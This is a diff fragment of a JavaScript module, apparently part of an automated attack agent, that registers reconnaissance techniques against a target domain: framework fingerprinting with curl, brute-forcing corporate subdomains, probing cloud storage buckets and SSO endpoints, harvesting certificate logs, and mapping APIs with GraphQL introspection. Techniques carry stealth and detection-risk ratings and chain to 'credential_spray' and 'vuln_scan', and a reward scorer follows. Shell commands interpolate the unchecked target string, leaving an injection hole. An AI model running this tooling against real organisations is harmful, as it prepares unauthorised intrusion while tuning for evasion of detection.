+            try {
+                const { stdout } = await execAsync(`curl -sL https://${target} --connect-timeout 5 | grep -oE '(react|angular|vue|next|nuxt|svelte|ember|backbone|jquery)[^"]*\\.js' | head -10`, { timeout: 15000 });
+                if (stdout.trim())
+                    artifacts.push({ type: 'js_frameworks', data: stdout.trim().replace(/\n/g, ', ') });
+            }
+            catch { /* ignore */ }
+            // Webpack/build tool detection
+            try {
+                const { stdout } = await execAsync(`curl -sL https://${target} --connect-timeout 5 | grep -oE '(webpack|chunk|bundle|vendor|main)\\.[a-f0-9]+\\.js' | head -5`, { timeout: 15000 });
+                if (stdout.trim())
+                    artifacts.push({ type: 'build_tool', data: 'Webpack/bundler detected' });
+            }
+            catch { /* ignore */ }
+            // API technology detection
+            try {
+                const { stdout } = await execAsync(`curl -sL https://${target}/api --connect-timeout 5 -H "Accept: application/json" | head -c 500`, { timeout: 10000 });
+                if (stdout.includes('graphql'))
+                    artifacts.push({ type: 'api_type', data: 'GraphQL' });
+                else if (stdout.includes('"data"') || stdout.includes('"error"'))
+                    artifacts.push({ type: 'api_type', data: 'REST JSON' });
+            }
+            catch { /* ignore */ }
+            // DNS-based infrastructure detection
+            try {
+                const { stdout } = await execAsync(`dig +short ${target} 2>/dev/null`, { timeout: 5000 });
+                const ips = stdout.trim().split('\n');
+                for (const ip of ips) {
+                    if (ip.match(/^\d+\.\d+\.\d+\.\d+$/)) {
+                        // Reverse lookup for provider hints
+                        try {
+                            const { stdout: rev } = await execAsync(`dig +short -x ${ip} 2>/dev/null`, { timeout: 5000 });
+                            if (rev.includes('google'))
+                                artifacts.push({ type: 'infra_provider', data: 'Google Cloud' });
+                            else if (rev.includes('amazon') || rev.includes('aws'))
+                                artifacts.push({ type: 'infra_provider', data: 'AWS' });
+                            else if (rev.includes('azure') || rev.includes('microsoft'))
+                                artifacts.push({ type: 'infra_provider', data: 'Azure' });
+                            else if (rev.includes('cloudflare'))
+                                artifacts.push({ type: 'infra_provider', data: 'Cloudflare' });
+                            else if (rev.includes('akamai'))
+                                artifacts.push({ type: 'infra_provider', data: 'Akamai' });
+                            else if (rev.includes('fastly'))
+                                artifacts.push({ type: 'infra_provider', data: 'Fastly' });
+                        }
+                        catch { /* ignore */ }
+                    }
+                }
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { stack_data: artifacts.length }, artifacts, nextTechniques: ['corp_enum', 'api_discovery'], detectionRisk: 0.2, duration: Date.now() - start };
+        },
+    });
+    // Corporate Infrastructure Discovery
+    techniqueRegistry.register({
+        id: 'corp_enum',
+        name: 'Corporate Infrastructure Discovery',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.7,
+        successBaseline: 0.85,
+        timeEstimate: 120000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const baseDomain = target.replace(/^www\./, '');
+            const artifacts = [];
+            // Corporate subdomain enumeration
+            const corpSubdomains = [
+                'mail', 'email', 'smtp', 'imap', 'pop', 'exchange', 'outlook', 'webmail',
+                'vpn', 'remote', 'gateway', 'sslvpn', 'ras', 'access',
+                'sso', 'login', 'auth', 'id', 'identity', 'accounts', 'account',
+                'hr', 'people', 'careers', 'jobs', 'recruiting', 'talent',
+                'crm', 'salesforce', 'sales', 'marketing', 'hubspot',
+                'erp', 'sap', 'oracle', 'workday', 'netsuite',
+                'jira', 'confluence', 'wiki', 'docs', 'drive', 'sharepoint',
+                'git', 'github', 'gitlab', 'bitbucket', 'code', 'repo',
+                'slack', 'teams', 'zoom', 'meet', 'chat',
+                'okta', 'duo', 'ping', 'onelogin', 'auth0',
+                'splunk', 'elk', 'grafana', 'prometheus', 'datadog', 'newrelic',
+                'aws', 'gcp', 'azure', 'cloud', 'k8s', 'kubernetes',
+                'dev', 'staging', 'test', 'qa', 'uat', 'sandbox', 'demo',
+                'internal', 'intranet', 'corp', 'corporate', 'hq',
+                'admin', 'manage', 'management', 'portal', 'console',
+                'api', 'api-internal', 'api-v1', 'api-v2', 'graphql',
+                'cdn', 'static', 'assets', 'media', 'images', 'files',
+                'support', 'help', 'helpdesk', 'service', 'servicedesk', 'zendesk', 'freshdesk',
+            ];
+            // Parallel subdomain resolution
+            const batchSize = 20;
+            for (let i = 0; i < corpSubdomains.length; i += batchSize) {
+                const batch = corpSubdomains.slice(i, i + batchSize);
+                const results = await Promise.all(batch.map(async (sub) => {
+                    try {
+                        const ips = await dns.resolve4(`${sub}.${baseDomain}`);
+                        return { sub, ips, exists: true };
+                    }
+                    catch {
+                        return { sub, ips: [], exists: false };
+                    }
+                }));
+                for (const r of results) {
+                    if (r.exists)
+                        artifacts.push({ type: 'corp_subdomain', data: `${r.sub}.${baseDomain} -> ${r.ips.join(', ')}` });
+                }
+            }
+            // MX records for email infrastructure
+            try {
+                const mx = await dns.resolveMx(baseDomain);
+                for (const record of mx.slice(0, 5)) {
+                    artifacts.push({ type: 'mail_server', data: `${record.exchange} (priority ${record.priority})` });
+                    // Identify email provider
+                    if (record.exchange.includes('google'))
+                        artifacts.push({ type: 'email_provider', data: 'Google Workspace' });
+                    else if (record.exchange.includes('outlook') || record.exchange.includes('microsoft'))
+                        artifacts.push({ type: 'email_provider', data: 'Microsoft 365' });
+                    else if (record.exchange.includes('protonmail'))
+                        artifacts.push({ type: 'email_provider', data: 'ProtonMail' });
+                    else if (record.exchange.includes('zoho'))
+                        artifacts.push({ type: 'email_provider', data: 'Zoho' });
+                }
+            }
+            catch { /* ignore */ }
+            // SPF record for authorized senders
+            try {
+                const txt = await dns.resolveTxt(baseDomain);
+                for (const record of txt) {
+                    const spf = record.join('');
+                    if (spf.includes('v=spf1')) {
+                        artifacts.push({ type: 'spf_record', data: spf.slice(0, 200) });
+                        // Extract included domains
+                        const includes = spf.match(/include:([^\s]+)/g) || [];
+                        for (const inc of includes.slice(0, 5)) {
+                            artifacts.push({ type: 'spf_include', data: inc });
+                        }
+                    }
+                }
+            }
+            catch { /* ignore */ }
+            // DMARC for email policy
+            try {
+                const dmarc = await dns.resolveTxt(`_dmarc.${baseDomain}`);
+                if (dmarc[0])
+                    artifacts.push({ type: 'dmarc', data: dmarc[0].join('').slice(0, 150) });
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { corp_infra: artifacts.length }, artifacts, nextTechniques: ['business_sw_enum', 'saas_enum'], detectionRisk: 0.25, duration: Date.now() - start };
+        },
+    });
+    // Business Software & SaaS Identification
+    techniqueRegistry.register({
+        id: 'business_sw_enum',
+        name: 'Business Software Identification',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.8,
+        successBaseline: 0.8,
+        timeEstimate: 90000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const baseDomain = target.replace(/^www\./, '');
+            const artifacts = [];
+            // SaaS vendor DNS patterns
+            const saasPatterns = [
+                { name: 'Salesforce', pattern: `${baseDomain.split('.')[0]}.my.salesforce.com` },
+                { name: 'HubSpot', pattern: `${baseDomain.split('.')[0]}.hubspot.com` },
+                { name: 'Zendesk', pattern: `${baseDomain.split('.')[0]}.zendesk.com` },
+                { name: 'Atlassian', pattern: `${baseDomain.split('.')[0]}.atlassian.net` },
+                { name: 'Slack', pattern: `${baseDomain.split('.')[0]}.slack.com` },
+                { name: 'Monday', pattern: `${baseDomain.split('.')[0]}.monday.com` },
+                { name: 'Notion', pattern: `${baseDomain.split('.')[0]}.notion.site` },
+                { name: 'Airtable', pattern: `airtable.com/${baseDomain.split('.')[0]}` },
+                { name: 'Asana', pattern: `app.asana.com` },
+                { name: 'Workday', pattern: `${baseDomain.split('.')[0]}.workday.com` },
+                { name: 'ServiceNow', pattern: `${baseDomain.split('.')[0]}.service-now.com` },
+                { name: 'Okta', pattern: `${baseDomain.split('.')[0]}.okta.com` },
+                { name: 'Auth0', pattern: `${baseDomain.split('.')[0]}.auth0.com` },
+                { name: 'Datadog', pattern: `${baseDomain.split('.')[0]}.datadoghq.com` },
+                { name: 'PagerDuty', pattern: `${baseDomain.split('.')[0]}.pagerduty.com` },
+            ];
+            for (const saas of saasPatterns) {
+                try {
+                    await dns.resolve4(saas.pattern);
+                    artifacts.push({ type: 'saas_vendor', data: `${saas.name}: ${saas.pattern}` });
+                }
+                catch { /* not using this SaaS */ }
+            }
+            // Check common SSO/OAuth endpoints
+            const ssoEndpoints = [
+                '/saml', '/saml/consume', '/saml/metadata',
+                '/oauth', '/oauth/authorize', '/oauth/token',
+                '/openid', '/.well-known/openid-configuration',
+                '/adfs', '/adfs/ls',
+                '/simplesaml',
+            ];
+            for (const endpoint of ssoEndpoints) {
+                try {
+                    const probe = await httpProbe(`https://${target}${endpoint}`, 3000);
+                    if (probe.status < 400 || probe.status === 401) {
+                        artifacts.push({ type: 'sso_endpoint', data: `${endpoint} (${probe.status})` });
+                    }
+                }
+                catch { /* ignore */ }
+            }
+            // Identify IdP from login page
+            try {
+                const { stdout } = await execAsync(`curl -sL https://${target}/login --connect-timeout 5 | grep -oiE '(okta|auth0|onelogin|ping|azure|google|facebook|github|linkedin|saml|oauth)' | sort -u`, { timeout: 15000 });
+                if (stdout.trim()) {
+                    const idps = [...new Set(stdout.trim().split('\n'))];
+                    artifacts.push({ type: 'identity_providers', data: idps.join(', ') });
+                }
+            }
+            catch { /* ignore */ }
+            // Check for common tracking/analytics
+            try {
+                const { stdout } = await execAsync(`curl -sL https://${target} --connect-timeout 5 | grep -oiE '(google-analytics|gtag|gtm|segment|mixpanel|amplitude|heap|hotjar|fullstory|intercom|drift|zendesk|freshchat)' | sort -u`, { timeout: 15000 });
+                if (stdout.trim()) {
+                    const analytics = [...new Set(stdout.trim().split('\n'))];
+                    artifacts.push({ type: 'analytics_tracking', data: analytics.join(', ') });
+                }
+            }
+            catch { /* ignore */ }
+            // Payment/commerce detection
+            try {
+                const { stdout } = await execAsync(`curl -sL https://${target} --connect-timeout 5 | grep -oiE '(stripe|braintree|paypal|square|adyen|shopify|bigcommerce|woocommerce|magento)' | sort -u`, { timeout: 15000 });
+                if (stdout.trim()) {
+                    const payments = [...new Set(stdout.trim().split('\n'))];
+                    artifacts.push({ type: 'payment_commerce', data: payments.join(', ') });
+                }
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { business_sw: artifacts.length }, artifacts, nextTechniques: ['saas_enum', 'api_discovery'], detectionRisk: 0.2, duration: Date.now() - start };
+        },
+    });
+    // SaaS & Cloud Service Deep Enumeration
+    techniqueRegistry.register({
+        id: 'saas_enum',
+        name: 'SaaS & Cloud Service Enumeration',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.75,
+        successBaseline: 0.85,
+        timeEstimate: 120000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const baseDomain = target.replace(/^www\./, '');
+            const orgName = baseDomain.split('.')[0];
+            const artifacts = [];
+            // Google Workspace detection
+            try {
+                const mx = await dns.resolveMx(baseDomain);
+                if (mx.some(r => r.exchange.includes('google'))) {
+                    artifacts.push({ type: 'google_workspace', data: 'Google Workspace (Gmail)' });
+                    // Check for additional Google services
+                    const googleServices = [
+                        { name: 'Drive', host: `drive.google.com` },
+                        { name: 'Calendar', host: `calendar.google.com` },
+                        { name: 'Meet', host: `meet.google.com` },
+                        { name: 'Chat', host: `chat.google.com` },
+                    ];
+                    for (const svc of googleServices) {
+                        artifacts.push({ type: 'google_service', data: svc.name });
+                    }
+                }
+            }
+            catch { /* ignore */ }
+            // Microsoft 365 detection
+            try {
+                const mx = await dns.resolveMx(baseDomain);
+                if (mx.some(r => r.exchange.includes('outlook') || r.exchange.includes('microsoft'))) {
+                    artifacts.push({ type: 'microsoft_365', data: 'Microsoft 365' });
+                    // Check autodiscover
+                    try {
+                        await dns.resolve4(`autodiscover.${baseDomain}`);
+                        artifacts.push({ type: 'ms_autodiscover', data: 'Exchange Autodiscover enabled' });
+                    }
+                    catch { /* ignore */ }
+                }
+            }
+            catch { /* ignore */ }
+            // AWS service detection
+            try {
+                const { stdout } = await execAsync(`dig +short ${target} 2>/dev/null`, { timeout: 5000 });
+                if (stdout.includes('amazonaws.com') || stdout.includes('aws')) {
+                    artifacts.push({ type: 'aws_hosted', data: 'AWS Infrastructure' });
+                }
+                // Check for S3 buckets
+                const s3Patterns = [`${orgName}`, `${orgName}-prod`, `${orgName}-dev`, `${orgName}-staging`, `${orgName}-backup`, `${orgName}-assets`, `${orgName}-static`];
+                for (const bucket of s3Patterns) {
+                    try {
+                        const probe = await httpProbe(`https://${bucket}.s3.amazonaws.com`, 3000);
+                        if (probe.status !== 404)
+                            artifacts.push({ type: 's3_bucket', data: `${bucket} (${probe.status})` });
+                    }
+                    catch { /* ignore */ }
+                }
+            }
+            catch { /* ignore */ }
+            // GCP service detection
+            try {
+                const { stdout } = await execAsync(`dig +short ${target} 2>/dev/null`, { timeout: 5000 });
+                if (stdout.includes('google') || stdout.includes('gcp')) {
+                    artifacts.push({ type: 'gcp_hosted', data: 'Google Cloud Infrastructure' });
+                }
+                // Check for GCS buckets
+                const gcsPatterns = [`${orgName}`, `${orgName}-prod`, `${orgName}-public`];
+                for (const bucket of gcsPatterns) {
+                    try {
+                        const probe = await httpProbe(`https://storage.googleapis.com/${bucket}`, 3000);
+                        if (probe.status !== 404)
+                            artifacts.push({ type: 'gcs_bucket', data: `${bucket} (${probe.status})` });
+                    }
+                    catch { /* ignore */ }
+                }
+            }
+            catch { /* ignore */ }
+            // Azure service detection
+            try {
+                const azurePatterns = [
+                    `${orgName}.blob.core.windows.net`,
+                    `${orgName}.azurewebsites.net`,
+                    `${orgName}.azure-api.net`,
+                ];
+                for (const pattern of azurePatterns) {
+                    try {
+                        await dns.resolve4(pattern);
+                        artifacts.push({ type: 'azure_service', data: pattern });
+                    }
+                    catch { /* ignore */ }
+                }
+            }
+            catch { /* ignore */ }
+            // GitHub/GitLab detection
+            try {
+                const probe = await httpProbe(`https://github.com/${orgName}`, 3000);
+                if (probe.status === 200)
+                    artifacts.push({ type: 'github_org', data: `github.com/${orgName}` });
+            }
+            catch { /* ignore */ }
+            try {
+                const probe = await httpProbe(`https://gitlab.com/${orgName}`, 3000);
+                if (probe.status === 200)
+                    artifacts.push({ type: 'gitlab_org', data: `gitlab.com/${orgName}` });
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { saas_services: artifacts.length }, artifacts, nextTechniques: ['api_discovery', 'cloud_enum'], detectionRisk: 0.2, duration: Date.now() - start };
+        },
+    });
+    // Full Domain Intelligence
+    techniqueRegistry.register({
+        id: 'domain_intel',
+        name: 'Full Domain Intelligence',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.9,
+        successBaseline: 0.95,
+        timeEstimate: 180000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const baseDomain = target.replace(/^www\./, '');
+            const artifacts = [];
+            // All DNS record types
+            const recordTypes = ['A', 'AAAA', 'MX', 'NS', 'TXT', 'SOA', 'CNAME'];
+            for (const type of recordTypes) {
+                try {
+                    let records;
+                    switch (type) {
+                        case 'A':
+                            records = await dns.resolve4(baseDomain);
+                            break;
+                        case 'AAAA':
+                            records = await dns.resolve6(baseDomain);
+                            break;
+                        case 'MX':
+                            records = (await dns.resolveMx(baseDomain)).map(r => `${r.exchange} (${r.priority})`);
+                            break;
+                        case 'NS':
+                            records = await dns.resolveNs(baseDomain);
+                            break;
+                        case 'TXT':
+                            records = (await dns.resolveTxt(baseDomain)).map(r => r.join(''));
+                            break;
+                        case 'SOA':
+                            const soa = await dns.resolveSoa(baseDomain);
+                            records = [`${soa.nsname} ${soa.hostmaster}`];
+                            break;
+                        case 'CNAME':
+                            records = await dns.resolveCname(baseDomain);
+                            break;
+                        default: records = [];
+                    }
+                    for (const record of records.slice(0, 5)) {
+                        artifacts.push({ type: `dns_${type.toLowerCase()}`, data: record.slice(0, 200) });
+                    }
+                }
+                catch { /* record type not found */ }
+            }
+            // WHOIS data
+            try {
+                const { stdout } = await execAsync(`whois ${baseDomain} 2>/dev/null | grep -iE "registrar|creation|expir|name server|registrant|admin|tech" | head -20`, { timeout: 15000 });
+                if (stdout.trim()) {
+                    const lines = stdout.split('\n').filter(l => l.trim());
+                    for (const line of lines.slice(0, 10)) {
+                        artifacts.push({ type: 'whois', data: line.trim() });
+                    }
+                }
+            }
+            catch { /* ignore */ }
+            // ASN information
+            try {
+                const ips = await dns.resolve4(baseDomain);
+                if (ips[0]) {
+                    const reversed = ips[0].split('.').reverse().join('.');
+                    const txt = await dns.resolveTxt(`${reversed}.origin.asn.cymru.com`);
+                    if (txt[0])
+                        artifacts.push({ type: 'asn_info', data: txt[0].join(' ') });
+                }
+            }
+            catch { /* ignore */ }
+            // Historical DNS (passive DNS simulation via CT logs)
+            try {
+                const { stdout } = await execAsync(`curl -s "https://crt.sh/?q=%.${baseDomain}&output=json" --connect-timeout 10 | grep -oE '"name_value":"[^"]+' | cut -d'"' -f4 | sort -u | head -30`, { timeout: 20000 });
+                if (stdout.trim()) {
+                    const subdomains = stdout.split('\n').filter(s => s.trim());
+                    artifacts.push({ type: 'ct_subdomains', data: `${subdomains.length} subdomains from CT logs` });
+                    for (const sub of subdomains.slice(0, 15)) {
+                        artifacts.push({ type: 'historical_subdomain', data: sub });
+                    }
+                }
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { domain_intel: artifacts.length }, artifacts, nextTechniques: ['corp_enum', 'stack_fingerprint'], detectionRisk: 0.1, duration: Date.now() - start };
+        },
+    });
+    // API Surface Mapping
+    techniqueRegistry.register({
+        id: 'api_surface_map',
+        name: 'API Surface Mapping',
+        category: 'enumeration',
+        phase: 'weaponization',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.6,
+        successBaseline: 0.8,
+        timeEstimate: 120000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const artifacts = [];
+            const url = `https://${target}`;
+            // OpenAPI/Swagger discovery
+            const apiDocPaths = [
+                '/swagger.json', '/swagger.yaml', '/swagger/v1/swagger.json',
+                '/openapi.json', '/openapi.yaml', '/openapi/v1.json',
+                '/api-docs', '/api-docs.json', '/v1/api-docs', '/v2/api-docs', '/v3/api-docs',
+                '/docs', '/redoc', '/api/docs', '/api/swagger',
+                '/.well-known/openapi.json',
+            ];
+            for (const path of apiDocPaths) {
+                try {
+                    const probe = await httpProbe(`${url}${path}`, 5000);
+                    if (probe.status === 200) {
+                        artifacts.push({ type: 'api_docs', data: path });
+                        // Try to fetch and parse
+                        try {
+                            const { stdout } = await execAsync(`curl -sL "${url}${path}" --connect-timeout 5 | head -c 1000`, { timeout: 10000 });
+                            if (stdout.includes('"paths"') || stdout.includes('swagger') || stdout.includes('openapi')) {
+                                const paths = stdout.match(/"\/[^"]+"/g) || [];
+                                artifacts.push({ type: 'api_endpoints_found', data: `${paths.length} endpoints in spec` });
+                            }
+                        }
+                        catch { /* ignore */ }
+                    }
+                }
+                catch { /* ignore */ }
+            }
+            // GraphQL introspection
+            try {
+                const { stdout } = await execAsync(`curl -sL "${url}/graphql" -H "Content-Type: application/json" -d '{"query":"{ __schema { types { name } } }"}' --connect-timeout 5 | head -c 500`, { timeout: 10000 });
+                if (stdout.includes('__schema') || stdout.includes('types')) {
+                    artifacts.push({ type: 'graphql', data: 'GraphQL introspection enabled' });
+                }
+            }
+            catch { /* ignore */ }
+            // REST API version enumeration
+            const apiVersions = ['/api', '/api/v1', '/api/v2', '/api/v3', '/v1', '/v2', '/v3', '/rest', '/rest/v1'];
+            for (const ver of apiVersions) {
+                try {
+                    const probe = await httpProbe(`${url}${ver}`, 3000);
+                    if (probe.status < 400 || probe.status === 401 || probe.status === 403) {
+                        artifacts.push({ type: 'api_version', data: `${ver} (${probe.status})` });
+                    }
+                }
+                catch { /* ignore */ }
+            }
+            // Common API endpoints
+            const commonEndpoints = [
+                '/api/users', '/api/user', '/api/me', '/api/profile',
+                '/api/auth', '/api/login', '/api/token', '/api/oauth',
+                '/api/health', '/api/status', '/api/info', '/api/version',
+                '/api/config', '/api/settings', '/api/admin',
+                '/api/data', '/api/export', '/api/import',
+                '/api/search', '/api/query', '/api/filter',
+                '/api/upload', '/api/download', '/api/files',
+                '/api/webhooks', '/api/callbacks', '/api/events',
+            ];
+            for (const endpoint of commonEndpoints) {
+                try {
+                    const probe = await httpProbe(`${url}${endpoint}`, 3000);
+                    if (probe.status < 500 && probe.status !== 404) {
+                        artifacts.push({ type: 'api_endpoint', data: `${endpoint} (${probe.status})` });
+                    }
+                }
+                catch { /* ignore */ }
+            }
+            return { success: artifacts.length > 0, output: { api_surface: artifacts.length }, artifacts, nextTechniques: ['credential_spray', 'vuln_scan'], detectionRisk: 0.35, duration: Date.now() - start };
+        },
+    });
+}
+// Initialize on module load
+registerCoreTechniques();
+registerExtendedTechniques();
+registerCloudTechniques();
+registerEnterpriseReconTechniques();
+const dualBanditState = {
+    rewards: [],
+    actionCounts: new Map([
+        ['primary', 0],
+        ['refine', 0],
+    ]),
+    qValues: new Map([
+        ['primary', 0],
+        ['refine', 0],
+    ]),
+};
+export function scoreOutcome(result) {
+    let reward = 0;
+    if (result.exitReason === 'complete') {
+        reward += 0.6;
+    }
+    else if (result.exitReason === 'verification-needed') {
+        reward += 0.3;
+    }
+    else if (result.exitReason === 'incomplete') {
+        reward -= 0.1;
+    }
+    else if (result.exitReason === 'empty-response' || result.exitReason === 'blocked') {
+        reward -= 0.4;
+    }
+    else if (result.exitReason === 'no-action') {
+        reward -= 0.3;
+    }
+    if (result.tookAction) {
+        reward += 0.2;
+    }
+    if (result.planOnly) {
+        reward -= 0.1;
+    }
+    if (result.toolsUsed.length === 0) {
+        reward -= 0.05;
+    }
+    return Math.max(-1, Math.min(1, reward));
+}
+function updateQValue(action, reward) {
+    const count = (dualBanditState.actionCounts.get(action) ?? 0) + 1;
+    const previous = dualBanditState.qValues.get(action) ?? 0;
+    const updated = previous + (reward - previous) / count;
+    dualBanditState.actionCounts.set(action, count);
+    dualBanditState.qValues.set(action, updated);
+}
+export function recordDualOutcome(primaryReward, refineReward, chosen) {
+    const chosenReward = chosen === 'refine' ? refineReward : primaryReward;
+    updateQValue('primary', primaryReward);
+    updateQValue('refine', refineReward);
+    dualBanditState.rewards.push(chosenReward);
+    if (dualBanditState.rewards.length > 500) {
+        dualBanditState.rewards.shift();
+    }
+    const avgReward = dualBanditState.rewards.length === 0
+        ? 0
+        : dualBanditState.rewards.reduce((a, b) => a + b, 0) / dualBanditState.rewards.length;
+    return {
+        avgReward,
+        primaryReward,
+        refineReward,
+        chosen,
+        historySize: dualBanditState.rewards.length,
+    };
+}
+export function getDualPolicySnapshot() {
+    return {
+        actionAverages: {
+            primary: dualBanditState.qValues.get('primary') ?? 0,
+            refine: dualBanditState.qValues.get('refine') ?? 0,
+        },
+        counts: {
+            primary: dualBanditState.actionCounts.get('primary') ?? 0,
+            refine: dualBanditState.actionCounts.get('refine') ?? 0,
+        },
+    };
+}
+//# sourceMappingURL=rl.js.map